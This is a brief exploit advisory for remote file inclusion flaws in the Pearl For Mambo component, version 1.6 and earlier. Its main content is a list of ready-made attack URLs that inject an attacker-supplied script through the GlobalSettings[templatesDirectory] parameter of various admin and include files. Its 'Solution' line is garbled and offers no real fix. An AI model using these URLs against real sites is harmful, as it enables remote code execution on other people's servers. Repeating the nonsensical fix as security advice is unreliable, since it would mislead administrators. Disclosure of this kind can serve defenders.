[RST] Pearl For Mambo <= 1.6 RFI

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Pearl For Mambo <= 1.6 (GlobalSettings[templatesDirectory]) Remote File Include Vulnerabilities

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Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :

Remote : Yes

Critical Level : Dangerous

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Affected software description :

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Application : Pearl For Mambo

version : latest version [ 1.6 ]

Description: component for mambo

URL : http://www.pearlinger.com

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Exploit:

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Variable $GlobalSettings[templatesDirectory] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script]

# http://www.site.com/[path]/includes/adminSensored.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/adminBoards.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/adminAttachments.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/adminAvatars.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/adminBackupdatabase.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/adminBanned.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/adminForums.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/adminSmileys.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=[evil_script]

# http://www.site.com/[path]/includes/move.php?GlobalSettings[templatesDirectory]=[evil_script]

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Solution :

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declare variabel $[evil_script]

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Shoutz:

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